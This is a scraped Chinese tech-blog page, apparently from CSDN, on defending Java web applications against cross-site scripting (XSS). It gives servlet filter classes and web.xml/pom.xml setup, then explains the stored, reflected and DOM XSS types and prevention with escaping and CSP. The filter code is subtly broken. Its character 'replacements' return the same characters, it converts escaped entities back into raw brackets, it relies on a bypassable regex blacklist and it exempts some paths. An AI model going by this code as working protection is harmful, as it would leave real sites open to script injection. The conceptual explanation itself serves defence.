    很多时候,内部管理网站往往疏于关注安全问题,只是简单的限制访问来源。这种网站往往对XSS 攻击毫无抵抗力,需要多加注意。安全问题需要长期的关注,从来不是一锤子买卖。XSS 攻击相对其他攻击手段更加隐蔽和多变,和业务流程、代码实现都有关系,不存在什么一劳永逸的解决方案。此外,面对XSS,往往要牺牲产品的便利性才能保证完全的安全,如何在安全和便利之间平衡也是一件需要考虑的事情。

    web应用开发者注意事项:

    1.对于开发者,首先应该把精力放到对所有用户提交内容进行可靠的输入验证上。这些提交内容包括URL、查询关键

    字、http头、post数据等。只接受在你所规定长度范围内、采用适当格式、你所希望的字符。阻塞、过滤或者忽略其它的

    任何东西。

    2.保护所有敏感的功能,以防被bots自动化或者被第三方网站所执行。实现session标记(session tokens)、

    CAPTCHA系统或者HTTP引用头检查。

    3.如果你的web应用必须支持用户提供的HTML,那么应用的安全性将受到灾难性的下滑。但是你还是可以做一些事来

    保护web站点:确认你接收的HTML内容被妥善地格式化,仅包含最小化的、安全的tag(绝对没有JavaScript),去掉任何

    对远程内容的引用(尤其是样式表和JavaScript)。为了更多的安全,请使用httpOnly的cookie。

    XSS跨站脚本攻击漏洞的解决

    解决思路:

    第一、控制脚本注入的语法要素。比如:JavaScript离不开:“<”、“>”、“(”、“)”、“;”...等等,我们只需要在输入或输出时对其进行字符过滤或转义处理就即可。一般我们会采用转义的方式来处理,转义字符是会使用到HTML的原始码,因为原始码是可以被浏览器直接识别的,所以使用起来非常方便。允许可输入的字符串长度限制也可以一定程度上控制脚本注入。

    第二、所有的过滤、检测、限制等策略,建议在Web Server那一端去完成,而不是使用客户端的JavaScript或者VBScript去做简单的检查。因为真正的攻击者可以绕过你精心设计制作的客户端进行过滤、检测或限制手段。

    出于全面的考虑,决定直接在后台进行过滤。

    解决方案:

    新增两个过滤器类:

    public class XssFilter implements Filter {
     
        @Override
        public void destroy() {
        }
        /**
         * 过滤器用来过滤的方法
         */
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
            //包装request
            XssHttpServletRequestWrapper xssRequest = new XssHttpServletRequestWrapper((HttpServletRequest) request);
            chain.doFilter(xssRequest, response);
        }
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
        }
    }
    
    public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper {
        HttpServletRequest orgRequest = null;
     
        public XssHttpServletRequestWrapper(HttpServletRequest request) {
            super(request);
        }
        /**
         * 覆盖getParameter方法,将参数名和参数值都做xss过滤。
         * 如果需要获得原始的值,则通过super.getParameterValues(name)来获取
         * getParameterNames,getParameterValues和getParameterMap也可能需要覆盖
         */
        @Override
        public String getParameter(String name) {
            String value = super.getParameter(xssEncode(name));
            if (value != null) {
                value = xssEncode(value);
            }
            return value;
        }
        @Override
        public String[] getParameterValues(String name) {
            String[] value = super.getParameterValues(name);
            if(value != null){
                for (int i = 0; i < value.length; i++) {
                    value[i] = xssEncode(value[i]);
                }
            }
            return value;
        }
        @Override
        public Map getParameterMap() {
            return super.getParameterMap();
        }
        /**
         * 将容易引起xss漏洞的半角字符直接替换成全角字符 在保证不删除数据的情况下保存
         * @return 过滤后的值
         */
        private static String xssEncode(String value) {
            if (value == null || value.isEmpty()) {
                return value;
            }
            value = value.replaceAll("eval\\((.*)\\)", "");
            value = value.replaceAll("[\\\"\\\'][\\s]*javascript:(.*)[\\\"\\\']", "\"\"");
            value = value.replaceAll("(?i)<script.*?>.*?<script.*?>", "");
            value = value.replaceAll("(?i)<script.*?>.*?</script.*?>", "");
            value = value.replaceAll("(?i)<.*?javascript:.*?>.*?</.*?>", "");
            value = value.replaceAll("(?i)<.*?\\s+on.*?>.*?</.*?>", "");
            return value;
        }
    }
    

    web.xml中添加过滤:

    <filter>
      <filter-name>XssFilter</filter-name>
      <filter-class>XXXXX(该类的路径).XssFilter</filter-class>
    </filter>
    <filter-mapping>
      <filter-name>XssFilter</filter-name>
      <url-pattern>/*</url-pattern>
    </filter-mapping>
    

    OK了,需要自定义拦截规则的只要修改XssHttpServletRequestWrapper 类的xssEncode方法即可。

    web项目解决XSS跨站脚本漏洞

    maven项目解决方式需要配置如下:

    一、web.xml

    <!--防Xss start-->
    	<filter>
            <filter-name>XSSChecker</filter-name>
            <filter-class>com.watchme.login.filter.RedSwallowFilterNew</filter-class>
            <init-param>
                <param-name>redswallow.filter.plugin.htmlescapechar.config.includeParamPatterns</param-name>
                <param-value>service,staffId,STAFF_ID,cond_SERIAL_NUMBER,default_pagin_pagesize,EXEC_TIME,FINISH_DATE,sp,Listener,CLIENT_WIDTH,lh_type,listener,ROUTE_VALUE,contextCode,_tradeBase
                </param-value>
            </init-param>
            <init-param>
                <param-name>redswallow.filter.charset</param-name>
                <param-value>GBK</param-value>
            </init-param>
    	 </filter>
    	 <filter-mapping>
            <filter-name>XSSChecker</filter-name>
            <url-pattern>/*</url-pattern>
    	 </filter-mapping>
    	 
    	 <filter>
            <filter-name>CharacterFilter</filter-name>
            <filter-class>com.watchme.login.filter.CharacterFilter</filter-class>
            <init-param>
              <param-name>unCheckURLS</param-name>
              <param-value>
                 (/.*hotspot/saveHotspot*$)|(/.*product/editProductManager*$)|(/.*product/addProductManager*$)
                 |(/.*product/addMarketActivity*$)|(/.*product/editProductManager*$)|(/.*product/addProjectCase*$)
                 |(/.*product/editProductManager*$) |(/.*product/productSearchDetail*$)|(/.*product/editProductInfo*$)
                 |(/.*\.js$)|(/.*\.css$)|(/.*\.png$)|(/.*\.jpg$)|(/.*\.gif$)|(/.*\.ico$)
              </param-value>
            </init-param>
    	 </filter>
    	 <!--防Xss end-->
    

    二、pom.xml

    <!--防Xss--> 
    		<dependency>  
    		    <groupId>org.redswallow</groupId>  
    		    <artifactId>redswallow</artifactId>  
    		    <version>0.9.1</version>  
    		</dependency> 
    

    三、java类

    package com.cs.core.common.filter;
    
    import java.io.IOException;
    import javax.servlet.FilterChain;
    import javax.servlet.FilterConfig;
    import javax.servlet.ServletException;
    import javax.servlet.ServletRequest;
    import javax.servlet.ServletResponse;
    import javax.servlet.http.HttpServletRequest;
    
    import org.redswallow.filter.RedSwallowFilter;
    
    /**
     * @ClassName: RedSwallowFilterNew
     * @Description: XSS过滤器
     * @author 
     */
    public class RedSwallowFilterNew extends RedSwallowFilter
    {
        
        @Override
        public void init(FilterConfig filterConfig)
            throws ServletException
        {
            super.init(filterConfig);
        }
        
        @Override
        public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
            throws IOException, ServletException
        {
            HttpServletRequest httpRequest = (HttpServletRequest)request;
            String url = httpRequest.getRequestURI();
            if (url.indexOf("/ueditor/jsp/")!=-1)
            {
                System.out.println("hi i come in don't be warry!");
                chain.doFilter(request, response);
            }
            else
            {
                super.doFilter(request, response, chain);
            }
        }
        
        @Override
        public void destroy()
        {
            super.destroy();
        }
        
    }
    
    package com.ailk.jike.common.filter;
    
    import java.io.IOException;
    import java.util.Enumeration;
    import java.util.Map;
    import java.util.StringTokenizer;
    
    import javax.servlet.Filter;
    import javax.servlet.FilterChain;
    import javax.servlet.FilterConfig;
    import javax.servlet.ServletException;
    import javax.servlet.ServletRequest;
    import javax.servlet.ServletResponse;
    import javax.servlet.http.HttpServletRequest;
    
    import com.ailk.jike.common.utils.CheckNull;
    
    /**
     * 部分字符过滤
     */
    public class CharacterFilter implements Filter {
    
        private String unCheckURLS;
    
        @Override
        @SuppressWarnings("unchecked")
        public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
            HttpServletRequest request = (HttpServletRequest) req;
            request.setCharacterEncoding("UTF-8");
            if (!request.getRequestURI().matches(unCheckURLS)) {
                Enumeration<String> enumerator = req.getParameterNames();
                Map<?, ?> pMap = req.getParameterMap();
                while (enumerator.hasMoreElements()) {
                    String paraName = enumerator.nextElement();
                    String[] value = (String[]) pMap.get(paraName);
                    if (value.length == 0) {
                        continue;
                    }
                    for (int i = 0; i < value.length; i++) {
                        value[i] = filterString(value[i]);
                    }
                }
            }
            chain.doFilter(req, res);
        }
    
        @Override
        public void init(FilterConfig filterconfig) throws ServletException {
            StringBuffer result = new StringBuffer();
            for (StringTokenizer token = new StringTokenizer(filterconfig.getInitParameter("unCheckURLS"), "\n"); token
                    .hasMoreTokens(); result.append(token.nextToken().trim()));
            unCheckURLS = result.toString();
        }
    
        @Override
        public void destroy() {
        }
    
        /**
         * 过滤字符集
         * 
         * @param inputStr
         *            需要过滤的字符串
         * @return 过滤后的字符串
         */
        private String filterString(String inputStr) {
        
           if(CheckNull.isNull(inputStr)){
        	   return inputStr;
           }
            inputStr = convertHtmlZy(inputStr);
            StringBuffer sb = new StringBuffer();
            for (int i = 0; i < inputStr.length(); i++) {
                char aChar = inputStr.charAt(i);
                switch (aChar) {
                    case '>':
                        sb.append('>');// 全角大于号
                        break;
                    case '<':
                        sb.append('<');// 全角小于号
                        break;
                   /* case '\'':
                        sb.append('‘');// 全角单引号
                        break;
                    case '\"':
                        sb.append('“');// 全角双引号
                        break;*/
                    case '&':
                    sb.append('&');// 全角
                    break;
                   /* case '[':
                        sb.append('【');// 全角
                        break;
                    case ']':
                        sb.append('】');// 全角
                        break;*/
                    // case '\\':
                    // sb.append('\');// 全角斜线
                    // break;
                    /*case '#':
                        sb.append('#');// 全角井号
                        break;
                    case ';':
                        sb.append(';');// ;转化为;
                        break;*/
                    default:
                        sb.append(aChar);
                        break;
                }
            }
            return sb.toString();
        }
    
        /**
         * 将转义字符转换成相应的广角字符
         * 
         * @param inputStr
         * @return
         */
        public String convertHtmlZy(String inputStr) {
            if (!CheckNull.isNull(inputStr)) {
                String temp = inputStr.toLowerCase();
                if (-1 != temp.indexOf("&amp")) {
                    temp = temp.replaceAll("&amp", "&");
                } else if (-1 != temp.indexOf("&gt")) {
                    temp = temp.replaceAll("&gt", ">");
                } else if (-1 != temp.indexOf("&lt")) {
                    temp = temp.replaceAll("&lt", "<");
                } else if (-1 != temp.indexOf("&quot")) {
                    temp = temp.replaceAll("&quot", "“");
                } else if (-1 != temp.indexOf("&apos")) {
                    temp = temp.replaceAll("&apos", "‘");
                } else {
                    temp = inputStr;
                }
                return temp;
    
            }
            return inputStr;
    
        }
    }
    

    参考文章:XSS(跨站脚本)漏洞详解

                     XSS跨站脚本攻击在Java开发中防范的方法

                     XSS跨站脚本攻击漏洞的解决

     

    展开全文
  • XSS 跨站脚本攻击

    2020-06-04 12:05:21
    Cross-Site Scripting(跨站脚本攻击)简称 XSS,是一种代码注入攻击。 攻击者通过在目标网站上注入恶意脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,...

    简介

    XSS,即 Cross Site Script,中译是跨站脚本攻击
    其原本缩写是 CSS,但为了和层叠样式表(Cascading Style Sheet)有所区分,因而在安全领域叫做 XSS。

    攻击者通过在HTML上注入恶意<script>脚本,使之在用户的浏览器上运行。利用这些恶意脚本,攻击者可获取用户的敏感信息如 Cookie、SessionID 等,进而危害数据安全。

    XSS 的本质是:恶意代码未经过滤,与网站正常的代码混在一起;浏览器无法分辨哪些脚本是可信的,导致恶意脚本被执行。
    而由于直接在用户的终端执行,恶意代码能够直接获取用户的信息,或者利用这些信息冒充用户向网站发起攻击者定义的请求。


    分类

    根据攻击的来源,XSS 攻击可分为存储型反射型DOM 型三种。

    类型存储区(恶意代码存放的位置)插入点(由谁取得恶意代码)责任方
    存储型 XSS后端数据库HTML服务端
    反射型 XSSURLHTML服务端
    DOM 型 XSS后端数据库/前端存储/URLJavaScript前端

    1. 存储型(持久型)XSS

    黑客将代码存储到漏洞服务器中,用户浏览相关页面发起攻击

    存储型 XSS 的攻击步骤:

    1. 黑客将恶意脚本代码上传或存储到漏洞服务器
    2. 服务器把恶意脚本保存到服务器
    3. 当正常客户访问服务器时,服务器会读取恶意数据并且直接使用
    4. 服务器会返回含有恶意脚本的页面

    tips:

    • 这种攻击常见于带有用户保存数据的网站功能,如论坛发帖、商品评论、用户私信等。

    .

    2. 反射型(非持久型)XSS

    服务器没有对恶意的用户输入进行安全处理就直接反射响应内容,导致恶意代码在浏览器中执行

    反射型 XSS 的攻击步骤:

    1. 攻击者构造出特殊的 URL,其中包含恶意代码。
    2. 用户打开带有恶意代码的 URL 时,网站服务端将恶意代码从 URL 中取出,拼接在 HTML 中返回给浏览器。
    3. 用户浏览器接收到响应后解析执行,混在其中的恶意代码也被执行。
    4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

    tips:

    • 反射型 XSS 漏洞常见于通过 URL 传递参数的功能,如网站搜索、跳转等。
    • 反射型XSS攻击是一次性的,必须要通过用户点击链接才能发起,攻击者往往会结合多种手段诱导用户点击。
    • 一些浏览器如Chrome其内置了一些XSS过滤器,可以防止大部分反射型XSS攻击
    • 反射型 XSS 跟存储型 XSS 的区别是:存储型 XSS 的恶意代码存在数据库里,反射型 XSS 的恶意代码存在 URL 里。

    .

    3. DOM 型 XSS

    不需要服务器端支持,是由于DOM结构修改导致的,基于浏览器DOM解析的攻击

    DOM 型 XSS 的攻击步骤:

    1. 攻击者构造出特殊的 URL,其中包含恶意代码。
    2. 用户打开带有恶意代码的 URL。
    3. 浏览器在DOM解析的时候,前端 JavaScript 取出 URL 中的恶意代码并执行。
    4. 恶意代码窃取用户数据并发送到攻击者的网站,或者冒充用户的行为,调用目标网站接口执行攻击者指定的操作。

    tips:

    • 常见的触发场景就是在修改innerHTML outerHTML document.write的时候
    • DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞。

    预防

    通过前面的介绍可以得知,XSS 攻击有两大要素:

    1. 攻击者提交恶意代码
    2. 浏览器执行恶意代码

    预防存储型和反射型 XSS 攻击

    存储型和反射型 XSS 都是在服务端取出恶意代码后,插入到响应 HTML 里的,攻击者刻意编写的“数据”被内嵌到“代码”中,被浏览器所执行。

    预防这两种漏洞,有两种常见做法:

    1. 改成纯前端渲染,把代码和数据分隔开。
    2. 对 HTML 做充分转义。

    1. 纯前端渲染

    前后端数据分离,通过ajax请求后端数据,再由前端渲染

    纯前端渲染的过程:

    1. 浏览器先加载一个静态 HTML,此 HTML 中不包含任何跟业务相关的数据。
    2. 然后浏览器执行 HTML 中的 JavaScript。
    3. JavaScript 通过 Ajax 加载业务数据,调用 DOM API 更新到页面上。

    但纯前端渲染还需注意避免 DOM 型 XSS 漏洞(例如 onload 事件和 href 中的 javascript:xxx 等,请参考下文”预防 DOM 型 XSS 攻击“部分)。

    在很多内部、管理系统中,采用纯前端渲染是非常合适的。但对于性能要求高,或有 SEO 需求的页面,我们仍然要面对拼接 HTML 的问题。

    2. 转义 HTML

    如果拼接 HTML 是必要的,就需要采用合适的转义库,对 HTML 模板各处插入点进行充分的转义。

    常用的模板引擎,如 doT.js、ejs、FreeMarker 等,对于 HTML 转义通常只有一个规则,就是把 & < > " ' / 这几个字符转义掉,确实能起到一定的 XSS 防护作用,但并不完善。

    .

    预防 DOM 型 XSS 攻击

    DOM 型 XSS 攻击,实际上就是网站前端 JavaScript 代码本身不够严谨,把不可信的数据当作代码执行了。

    在使用 .innerHTML、.outerHTMLdocument.write()时要特别小心,不要把不可信的数据作为 HTML 插到页面上,而应尽量使用 .textContent.setAttribute() 等。

    DOM 中的内联事件监听器,如 locationonclickonerroronloadonmouseover 等,<a> 标签的 href 属性,JavaScript 的 eval()setTimeout()setInterval() 等,都能把字符串作为代码运行。如果不可信的数据拼接到字符串中传递给这些 API,很容易产生安全隐患,请务必避免。

    <!-- 内联事件监听器中包含恶意代码 -->
    <img onclick="UNTRUSTED" onerror="UNTRUSTED" src="data:image/png,">
    
    <!-- 链接内包含恶意代码 -->
    <a href="UNTRUSTED">1</a>
    
    <script>
    // setTimeout()/setInterval() 中调用恶意代码
    setTimeout("UNTRUSTED")
    setInterval("UNTRUSTED")
    
    // location 调用恶意代码
    location.href = 'UNTRUSTED'
    
    // eval() 中调用恶意代码
    eval("UNTRUSTED")
    </script>
    

    如果项目中有用到这些的话,一定要避免在字符串中拼接不可信数据。


    其他防范措施

    CSP

    CSP(内容安全策略)通过指定有效域——即浏览器认可的可执行脚本的有效来源——使服务器管理者有能力减少或消除XSS攻击所依赖的载体。一个CSP兼容的浏览器将会仅执行从白名单域获取到的脚本文件,忽略所有的其他脚本 (包括内联脚本和HTML的事件处理属性)。

    CSP本质上就是建立白名单,开发者明确告诉浏览器哪些外部资源可以进行加载和执行,我们只需要配置规则,如何拦截是由浏览器自己实现的,我们可以通过这种方式来尽量减少XSS攻击

    对于这种方式来说,这要开发者配置了正确的规则,那么即使网站存在漏洞,攻击者也不能执行它的攻击代码,而且CSP的兼容性不错。

    输入检查

    不要相信用户的任何输入。 对于用户的任何输入要进行检查、过滤和转义。建立可信任的字符和 HTML 标签白名单,对于不在白名单之列的字符或者标签进行过滤或编码。

    验证码

    防止脚本冒充用户提交危险操作。

    展开全文
  • Xss跨站脚本攻击基础

    2018-04-11 14:32:25
    Xss跨站脚本攻击基础,非常好的学习文档!!!Xss跨站脚本攻击基础,非常好的学习文档!!!
  • xss跨站脚本攻击与预防.rar,包含《XSS跨站脚本攻击剖析与防御(完整版).pdf》 与 xss-html-filter-master.zip 针对跨脚本有详细说明与预防工具

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 27,683
精华内容 11,073
关键字:

xss跨站脚本攻击